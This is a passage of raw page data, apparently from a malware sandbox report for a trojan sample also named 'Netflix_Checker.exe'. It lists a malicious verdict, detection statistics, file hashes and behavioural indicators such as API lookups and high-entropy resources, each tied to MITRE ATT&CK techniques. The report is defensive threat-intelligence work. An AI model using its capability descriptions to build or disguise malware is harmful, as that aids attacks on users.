\"1800190068e8f567@api-ms-win-core-synch-l1-2-0.DLL\"\n \"1800190088e8f567@api-ms-win-core-synch-l1-2-0.DLL\"\n \"0d000e00cc5ff567@ntdll.dll\"\n \"1500160020735b69@ADVAPI32.dll\"\n \"0e000f00e4735b69@ADVAPI32.dll\"\n \"0e000f0050745b69@ADVAPI32.dll\"\n \"11001200d47d5b69@ADVAPI32.dll\"\n \"110012007c7e5b69@ADVAPI32.dll\"\n \"12001300cc7e5b69@ADVAPI32.dll\"\n \"12001300387f5b69@ADVAPI32.dll\"\n \"14001500e4b75b69@ADVAPI32.dll\"\n \"1400150000b85b69@ADVAPI32.dll\"\n \"140015001cb85b69@ADVAPI32.dll\"\n \"1700180038b85b69@ADVAPI32.dll\"\n \"0d000e0054b85b69@ADVAPI32.dll\"\n \"1100120064b85b69@ADVAPI32.dll\"\n \"110012007cb85b69@ADVAPI32.dll\"\n \"0d000e009c7f5b69@SHELL32.dll\"\n \"0d000e0028805b69@SHELL32.dll\"\n \"0f001000ecb95b69@ADVAPI32.dll\"\n \"1400150038ba5b69@ADVAPI32.dll\"\n \"1400150054ba5b69@ADVAPI32.dll\"\n \"0c000d00a8ba5b69@ADVAPI32.dll\"\n \"0c000d00b8ba5b69@ADVAPI32.dll\"","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"ee5db. Trojan.exe\")","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has resource with unusual entropy \"RT_ICON:7.39209432493\"\n \"ee5db. Trojan.exe\" has resource with unusual entropy \"RT_ICON:7.47061432214\"\n \"ee5db. Trojan.exe\" has resource with unusual entropy \"RT_ICON:7.75566348293\"\n \"Netflix_Checker.exe\" has resource with unusual entropy \"RT_ICON:7.39209432493\"\n \"Netflix_Checker.exe\" has resource with unusual entropy \"RT_ICON:7.47061432214\"\n \"Netflix_Checker.exe\" has resource with unusual entropy \"RT_ICON:7.75566348293\"","id":"static-92","level":"suspicious","mitre_attack_id":"T1027.002","name":"PE file has unusual entropy resources","origin":"Static Parser","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4c","id":"string-836","level":"informative","mitre_attack_id":"T1213","name":"Able to perform SQL operations","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetCommandLineA@KERNEL32.dll at 48249-6650-00415084\n GetCommandLineA@KERNEL32.DLL at 00000000-00005736-49315-1074-00955084","id":"stream-118","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the command-line string for the current process","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has an executable section named \".text\"\n \"Netflix_Checker.exe\" has an executable section named \".text\"\n \"svcwhost.exe\" has an executable section named \".text\"\n \"Service_Macromedia.exe.bin\" has an executable section named \".text\"","id":"static-80","level":"informative","name":"PE file contains executable sections","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":2,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":20,"suspicious_count":0,"total_engines":30},"mitre_attacks":{"total":86},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":219,"malicious_count":15,"suspicious_count":34,"total":268}},"summary":{"score":100,"tags":null,"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"ee5db. Trojan.exe","file_size":999936,"file_type":["peexe","executable"],"file_type_id":"exe"},"hashes":{"imphash":"c8af21d27e764744732a1d8ec3a217aa","md5":"1a4da925d3cfef0f8040ad9858133181","sha1":"e912d052c7d778eef4a3ab320d8c9e8d905147be","sha256":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","sha512":"e1ec260669e3f89a9479245dacce1b5b7550ddca437572d69516335575543d138924adffec4202e147347f5cc8fb0c365de83383df5fb740dbe32b8f21eb8a54","ssdeep":"12288:BiUE6zr+B8DY9yYhaODRgDKqHgo2aqNUazcKhhhhTGyRYpYqh:AUEyavaOWuqAxa+vYl","ssdeep_chunks":["12288:BiUE6zr","12288:iUE6zr+","12288:UE6zr+B","12288:E6zr+B8","12288:6zr+B8D","12288:zr+B8DY","12288:r+B8DY9","12288:+B8DY9y","12288:B8DY9yY","12288:8DY9yYh","12288:DY9yYha","12288:Y9yYhaO","12288:9yYhaOD","12288:yYhaODR","12288:YhaODRg","12288:haODRgD","12288:aODRgDK","12288:ODRgDKq","12288:DRgDKqH","12288:RgDKqHg","12288:gDKqHgo","12288:DKqHgo2","12288:KqHgo2a","12288:qHgo2aq","12288:Hgo2aqN","12288:go2aqNU","12288:o2aqNUa","12288:2aqNUaz","12288:aqNUazc","12288:qNUazcK","12288:NUazcKh","12288:UazcKhh","12288:azcKhhh","12288:zcKhhhh","12288:cKhhhhT","12288:KhhhhTG","12288:hhhhTGy","12288:hhhTGyR","12288:hhTGyRY","12288:hTGyRYp","12288:TGyRYpY","12288:GyRYpYq","12288:yRYpYqh","24576:BiUE6zr","24576:iUE6zr+","24576:UE6zr+B","24576:E6zr+B8","24576:6zr+B8D","24576:zr+B8DY","24576:r+B8DY9","24576:+B8DY9y","24576:B8DY9yY","24576:8DY9yYh","24576:DY9yYha","24576:Y9yYhaO","24576:9yYhaOD","24576:yYhaODR","24576:YhaODRg","24576:haODRgD","24576:aODRgDK","24576:ODRgDKq","24576:DRgDKqH","24576:RgDKqHg","24576:gDKqHgo","24576:DKqHgo2","24576:KqHgo2a","24576:qHgo2aq","24576:Hgo2aqN","24576:go2aqNU","24576:o2aqNUa","24576:2aqNUaz","24576:aqNUazc","24576:qNUazcK","24576:NUazcKh","24576:UazcKhh","24576:azcKhhh","24576:zcKhhhh","24576:cKhhhhT","24576:KhhhhTG","24576:hhhhTGy","24576:hhhTGyR","24576:hhTGyRY","24576:hTGyRYp","24576:TGyRYpY","24576:GyRYpYq","24576:yRYpYqh","12288:AUEyava","12288:UEyavaO","12288:EyavaOW","12288:yavaOWu","12288:avaOWuq","12288:vaOWuqA","12288:aOWuqAx","12288:OWuqAxa","12288:WuqAxa+","12288:uqAxa+v","12288:qAxa+vY","12288:Axa+vYl"]},"submissions":{"first_seen":1722443417000,"last_multi_scan":1789427357000,"last_seen":1789427357000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["6aa87e9cb2fc8df262071a7a","66aafc80392e7e46360c1106"]},"schema_version":"1.0.9","sha256":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","threat_score":100,"unified_at":"2026-09-16T20:29:01.048Z","unified_at_epoch_ms":1789590541048,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Mint.Zard.Generic Sample ee5db783f4fc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ee5db783f4fc…. Malware family: Mint.Zard.Generic. Threat score 100/100. 20/30 AV engines flagged this file. 15 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae"}],["$","meta","4",{"property":"og:title","content":"Malicious Mint.Zard.Generic Sample ee5db783f4fc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ee5db783f4fc…. Malware family: Mint.Zard.Generic. Threat score 100/100. 20/30 AV engines flagged this file. 15 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Mint.Zard.Generic Sample ee5db783f4fc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ee5db783f4fc…. Malware family: Mint.Zard.Generic. Threat score 100/100. 20/30 AV engines flagged this file. 15 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4d","11",{}]]